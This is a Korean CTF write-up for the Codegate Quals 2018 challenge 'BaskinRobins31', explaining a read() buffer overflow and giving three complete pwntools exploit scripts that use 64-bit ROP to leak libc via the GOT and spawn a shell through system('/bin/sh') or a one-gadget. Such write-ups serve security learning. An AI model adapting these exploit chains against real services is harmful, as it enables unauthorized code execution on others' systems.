대회 당시에 릭은 됐는데 쉘이 안따져서 다른 팀원이 풀었던 문제이다.. 대회가 끝나고 나서 다시 풀어보았다.
문제는 간단한 게임인데 사용자가 항상 지도록 설계되어있다.
아래 소스를 보면 read를 통해 입력을 받고 있는데, 이곳에서 buffer overflow가 발생하게 된다.
따라서 64bit ROP를 이용하여 문제를 풀 수 있다.
여러가지 방법으로 문제를 풀어보았다.
[ Exploit Code 1 ]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 | from pwn import * context(os="linux", arch="amd64") elf = ELF("/root/pwn/BaskinRobins31") pppr = 0x40087a read_plt = 0x400700 read_got = 0x602040 write_plt = 0x4006d0 write_got = 0x602028 poprdi = 0x400bc3 offset_system = 0x0003d170 offset_write = 0xf72b0 offset_str_bin_sh = 0x15cbe3 p = connect('127.0.0.1', 8888) #p = connect('ch41l3ng3s.codegate.kr', 3131) print p.recv(4096) payload = '' payload += "A"*176 payload += "B"*8 payload += p64(pppr) payload += p64(1) payload += p64(write_got) payload += p64(8) payload += p64(write_plt) payload += p64(0x4008a4) p.sendline(payload) print p.recvuntil("rules...:(") #p.recv(2) #write_addr = u64(p.recv(6).ljust(8, "\x00")) write_addr = u64(p.recv(8).replace("\x0a", "").replace("\x20","").ljust(8, "\x00")) libc_base = write_addr - offset_write system_addr = libc_base + offset_system binsh_addr = libc_base + offset_str_bin_sh print "[+] write_addr : " + hex(write_addr) print p.recvuntil("1-3)") payload = '' payload += "A"*176 payload += "B"*8 payload += p64(libc_base+0x4526a)#0xf02a4) p.sendline(payload) p.interactive() | cs |
[ Exploit Code 2 ]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | from pwn import * context(os="linux", arch="amd64") #context.log_level = 'debug' e = ELF("/root/pwn/BaskinRobins31") p = remote('127.0.0.1', 8888) #p = connect('ch41l3ng3s.codegate.kr', 3131) pppr = 0x40087a poprdi = 0x400bc3 read_plt = 0x400700 read_got = 0x602040 write_plt = 0x4006d0 write_got = 0x602028 offset_system = 0x00045390 offset_write = 0xf72b0 bss = 0x6020b0 cmd = '/bin/sh\00' print p.recvuntil("1-3)") payload = '' payload += "A"*184 payload += p64(pppr) payload += p64(0) payload += p64(bss) payload += p64(len(cmd)) payload += p64(read_plt) payload += p64(pppr) payload += p64(1) payload += p64(write_got) payload += p64(0x8) payload += p64(write_plt) payload += p64(pppr) payload += p64(0) payload += p64(write_got) payload += p64(0x8) payload += p64(read_plt) payload += p64(poprdi) payload += p64(bss) payload += p64(write_plt) p.sendline(payload) p.send(cmd) p.recvuntil("Don't break the rules...:(") print p.recv(1024) write_addr = u64(p.recv(6).ljust(8,'\x00')) libc_base = write_addr - offset_write system_addr = libc_base + offset_system print "[+] write_addr : " + hex(write_addr) print "[+] system_addr : " + hex(system_addr) p.send(p64(system_addr)) p.interactive() | cs |
[ Exploit Code 3 ]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 | from pwn import * context(os="linux", arch="amd64") #context.log_level = 'debug' e = ELF("/root/pwn/BaskinRobins31") p = remote('127.0.0.1', 8888) #p = connect('ch41l3ng3s.codegate.kr', 3131) pppr = 0x40087a poprdi = 0x400bc3 read_plt = 0x400700 read_got = 0x602040 write_plt = 0x4006d0 write_got = 0x602028 offset_system = 0x00045390 offset_write = 0xf72b0 offset_str_bin_sh = 0x18cd57 print p.recvuntil("1-3)") payload = '' payload += "A"*176 payload += "B"*8 payload += p64(pppr) payload += p64(1) payload += p64(write_got) payload += p64(8) payload += p64(write_plt) payload += p64(0x4008a4) p.sendline(payload) p.recvuntil("Don't break the rules...:(") p.recv(2) write_addr = u64(p.recv(6).ljust(8,'\x00')) libc_base = write_addr - offset_write system_addr = libc_base + offset_system binsh_addr = libc_base + offset_str_bin_sh print "[+] write_addr : " + hex(write_addr) print "[+] system_addr : " + hex(system_addr) print "[+] binsh_addr : " + hex(binsh_addr) print p.recvuntil("1-3)") payload2 = '' payload2 += "A"*176 payload2 += "B"*8 payload2 += p64(poprdi) payload2 += p64(binsh_addr) payload2 += p64(system_addr) p.sendline(payload2) p.interactive() | cs |
'CTF > Codegate 2018' 카테고리의 다른 글
[Codegate Quals 2018] Super Marimo (0) | 2018.02.17 |
---|---|
[Codegate Quals 2018] RedVelvet (0) | 2018.02.13 |
[Codegate Quals 2018] Welcome to droid (0) | 2018.02.13 |